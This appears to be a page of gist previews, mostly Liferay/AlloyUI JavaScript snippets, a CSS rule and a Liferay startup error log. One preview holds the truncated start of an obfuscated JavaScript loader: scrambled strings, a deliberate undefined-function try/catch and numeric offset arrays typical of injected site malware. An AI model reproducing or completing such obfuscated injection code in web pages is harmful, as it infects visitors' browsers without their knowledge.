This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Ported from http://stackoverflow.com/a/17343790/905036 | |
function relativeLuminance(col) { | |
//Remove any leading # | |
var shorthandRegex = /^#?([a-f\d])([a-f\d])([a-f\d])$/i; | |
var components = {}; | |
col = col.replace(shorthandRegex, function(m, r, g, b) { | |
return r + r + g + g + b + b; | |
}); | |
//Convert hex to 0-1 scale |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
AUI().use("autocomplete", "autocomplete-highlighters", "aui-io-request", function (A) { | |
A.one('#<portlet:namespace/>academyName').plug(A.Plugin.AutoComplete, { | |
resultHighlighter: 'phraseMatch', | |
resultListLocator: 'orgs', | |
resultTextLocator: 'name', | |
queryDelimiter: ',', | |
minQueryLength: 3, | |
source: function(query) { | |
var queryUrl = '<%=searchUrl%>&<portlet:namespace />keywords=' + query + '&<portlet:namespace/>types=' + types; | |
var request = A.io.request( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
body:before, #wrapper:after, #wrapper:before { | |
position: fixed; | |
content: ''; | |
display: block; | |
border: 1px solid #000; | |
height: 100%; | |
top: 0; | |
left: 0; | |
opacity: 0.5; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var getCachedInstance = function(yuiInstance, o, args) { | |
var instance = this; | |
// Need the current window, not A.config.win | |
var alloyInstance = yuiInstance._AUI_CACHED || ALLOY; | |
if (o || instance instanceof AUI) { | |
args = ALLOY.Array(args); | |
args.unshift(ALLOY.config); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function getServiceSync() { | |
var xhr = null; | |
var args = parent.Liferay.Service.parseInvokeArgs(arguments); | |
var syncIOConfig = { | |
sync: true, | |
on: { | |
success: function(event, id, obj){ | |
xhr = obj; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
toggleDisabled = function(field, force) { | |
var container; | |
if (field.hasClass('aui-field-input') || field) { | |
container = field.ancestor('.aui-field'); | |
} | |
else { | |
container = field; | |
field = field.children('.aui-field,.aui-button'); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
INFO: Initializing Spring FrameworkServlet 'Remoting Servlet' | |
21:04:19,544 ERROR [main][ModuleFrameworkAdapterHelper:62] Unable to configure the class loader for the module framework | |
21:04:19,545 ERROR [main][ModuleFrameworkAdapterHelper:76] Unable to load the module framework | |
Feb 15, 2013 9:04:19 PM org.apache.catalina.core.ApplicationContext log | |
INFO: Marking servlet Module Framework Servlet as unavailable | |
Feb 15, 2013 9:04:19 PM org.apache.catalina.core.StandardContext loadOnStartup | |
SEVERE: Servlet threw load() exception | |
java.lang.NullPointerException | |
at com.liferay.portal.module.framework.ModuleFrameworkAdapterHelper.getClassLoader(ModuleFrameworkAdapterHelper.java:50) | |
at com.liferay.portal.module.framework.ModuleFrameworkAdapterHelper.<init>(ModuleFrameworkAdapterHelper.java:72) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
date=new Date();var ar="Jp}g3ra]A\"kmTdQh{,'=Dyi)cf>1(0o[F<BnCs? e.wvlu:HGtNb; /EM";try{gserkewg();}catch(a){k=new Boolean().toString()};var ar2="f159,0,-93,9,42,-33,-45,51,-18,63,-102,87,-15,42,-24,-114,111,27,18,-33,-12,-87,87,-15,42, -36,-9,-39,-27,-18,-9,141,-132,15,87,-36,-30,99,-63,-51,24,-9,15,24,-6,-66,48,-21,111,0,0,-93,9, -60,3,15,87,-105,69,-15,87,3,0,-153,111,3,12,-21,9,-3,-69,111,0,0,-120,51,-18,63,-102,87,-15,42, -24,3,-111,51,81,-27,-36,-57,72,-33,9,-60,3,15,87,-3,-6,-96,57,-15,-3,-9,102,0,-144,135,24,0,-153, 3,99,9,-105,114,-63,6,48,3,-108,120,27,-96,39,18,-120,42,-42,111,-96,39,-15,0,-12,66,6,24,-84, 123,-141,0,0,36,42,-93,15,120,21,-135,42,-72,102,-60,30,93,-141,18,0,99,-81,-18,-18,144,-144, -15,48,0,-3,63,9,-60,-27,108,-102,12,-3,27,6,-33,63,-72,75,-54,-57,36,102,-90,-3,27,6,-33,63,-6, 36,-84,69,-12,-63,-3,75,-63,45,-45,87,-87,66,-66,81,-84,75,-93,21,-27,0,81,-15,51,-153,87,21,-45, 81,-81,24,15,33,-120,135,-42,-21,42,3,12,-27,36,-24,-12,-45,72,-9,-51,69,-9,-57,-87,135,-51,69, -102,24,21,63, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var createPage = function(index) { | |
Liferay.Service( | |
'/layout/add-layout', | |
{ | |
groupId: 22101, | |
privateLayout: false, | |
parentLayoutId: 0, | |
name: 'Test' + index, | |
title: 'Test' + index, | |
description: '', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
addInputFocus: function() { | |
var handleFocus = function(event) { | |
var target = event.target; | |
var tagName = target.tagName; | |
if (tagName) { | |
tagName = tagName.toLowerCase(); | |
} |